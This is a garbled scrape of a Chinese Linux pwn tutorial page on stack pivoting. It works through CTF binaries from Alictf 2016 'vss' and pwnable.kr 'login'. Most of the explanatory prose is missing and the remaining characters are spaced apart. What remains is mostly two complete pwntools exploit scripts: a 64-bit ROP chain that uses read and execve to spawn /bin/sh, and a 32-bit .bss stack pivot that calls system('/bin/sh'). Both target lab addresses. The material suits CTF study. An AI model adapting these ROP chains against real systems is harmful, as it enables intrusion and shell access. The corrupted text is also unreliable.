[19363] 2018-07-19_Linuxpwn入门教程(4)——调整栈帧的技巧

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2018-07-19_Linuxpwn入门教程(4)——调整栈帧的技巧 L i n u x   p w n ( 4 ) i   2 0 1 8 - 0 7 - 1 9 T a n g e r i n e @ S A I N T S E C i A S L R g a d g e t s e s p e b p s t a c k   p i v o t e s p e s p ~ / A l i c t f   2 0 1 6 - v s s / v s s 6 4 使 + s t r i p m a i n I D A s t a r t c a l l _ _ l i b c _ s t a r t _ m a i n ,   o f f s e t m a i n m a i n s y s c a l l e a x u b _ 4 3 7 4 E 0 使 0 x 2 5 s y s c a l l F 5 a l a r m s u b _ 4 0 8 8 0 0 p u t s
s u b _ 4 3 7 E A 0 s u b _ 4 3 7 E B D 使 0 s y s c a l l r e a d m a i n v e r i f y c a l l   r e a d
v e r i f y c a l l   s u b _ 4 0 0 3 3 0 s u b _ 4 0 0 3 3 0 s t r n c p y ( )
p y 退 [ r b p + r a x + d e s t ] 0 x 6 6 访 R r b p   +   r a x   =   0 x 7 F F E 6 C D 1 A 0 4 0 访 p y
E I P s t r n c p y 0 x 5 0 8 l i b c o n e   g a d g e t   R C E 使 使 s t r n c p y x 0 0 0 x 5 0 0 x 4 8 e s p m a i n r e a d 0 x 4 0 0 r e a d x 0 0 R O P 0 x 5 0 e s p R O P a d d   e s p g a d g e t s g a d g e t e s p 0 x 5 0 使 R O P s y s _ r e a d / b i n / s h x 0 0 s y s _ e x e c v e R O P
# ! / u s r / b i n / p y t h o n   # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )   p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( 0 x 6 1 6 1 6 1 6 1 6 1 6 1 7 9 7 0 )     # p y   p a y l o a d   + =   ' a ' * 0 x 4 0                                   # p a d d i n g   p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 5 )                         # a d d   e s p ,   0 x 5 8 ;   r e t p a y l o a d   + =   ' a ' * 8                                         # p a d d i n g   p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   s y s _ r e a d p a y l o a d   + = p 6 4 ( 0 x 8 )                                     # r d x   =   8 p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r s i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   s y s _ r e a d p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a 9 )                         # m o v   r a x ,   0 ;   s y s c a l l   s y s _ r e a d   p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 8 )                         # p o p   r a x ;   r e t   p a y l o a d   + = p 6 4 ( 5 9 )                                     # r a x   =   0 x 3 b p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   s y s _ e x e c v e p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d x   =   0 p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r s i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   s y s _ e x e c v e p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r d i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a e )                         # s y s c a l l p r i n t   i o . r e c v ( )   i o . s e n d ( p a y l o a d )   s l e e p ( 0 . 1 )     # i o . s e n d ( ' / b i n / s h x 0 0 ' )   i o . i n t e r a c t i v e ( ) s t a c k   p i v o t e s p g a d g e t A L S R A S L R A S L R N X A S L R A S L R 0 x 7 f f f 0 0 0 0 . s h e l l c o d e 0 x 7 f f f 0 0 0 0 g e t s h e l l A S L R 0 x 7 f f f 0 0 0 0 0 x 7 f f e 0 1 2 0 j m p   e s p g a d g e t s t a c k   p i v o t A S L R s t a c k   p i v o t g a d g e t p u s h   e b p ;   m o v   e b p ,   e s p 退 l e a v e ( m o v   e s p ,   e b p ;   p o p   e b p ) l e a v e r e t e b p l e a v e
l e a v e ;   r e t n e w   e s p r e t n e s p e b p
l e a v e ;   r e t   e s p g a d g e t n e w   e s p - 4 ( 6 4 - 8 ) n e w   s t a c k ~ / p w n a b l e . k r - l o g i n / l o g i n . s y s t e m ( / b i n / s h )
b a s e 6 4 b s s i n p u t 使 a u t h c o r r e c t ( ) s h e l l a u t h a u t h m d 5 m d 5 m e m c p y 2 c h a n g e _ m a j o r ( ) c h a n g e _ m a j o r ( ) E I P E B P s t a c k   p i v o t E B P E I P . b s s a u t h a u t h m a i n l e a v e ;   r e t n . b s s b a s e 6 4 1 2 4 . b s s 0 x 8 1 1 e b 4 0 . r e t n e s p   =   n e w   e s p   -   4 4
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m p w n i m p o r t   * f r o m   b a s e 6 4   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 2 " ,   1 0 0 0 1 )   p a y l o a d   =   " a a a a "                                 # p a d d i n g p a y l o a d   + =   p 3 2 ( 0 x 0 8 0 4 9 2 8 4 )             # s y s t e m ( " / b i n / s h " ) p a y l o a d b s s r e t n p a y l o a d   + =   p 3 2 ( 0 x 0 8 1 1 e b 4 0 )             # e s p i o . s e n d l i n e ( b 6 4 e n c o d e ( p a y l o a d ) )   i o . i n t e r a c t i v e ( ) s t a c k   p i v o t S R O P r e t 2 d l _ r e s o l v e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则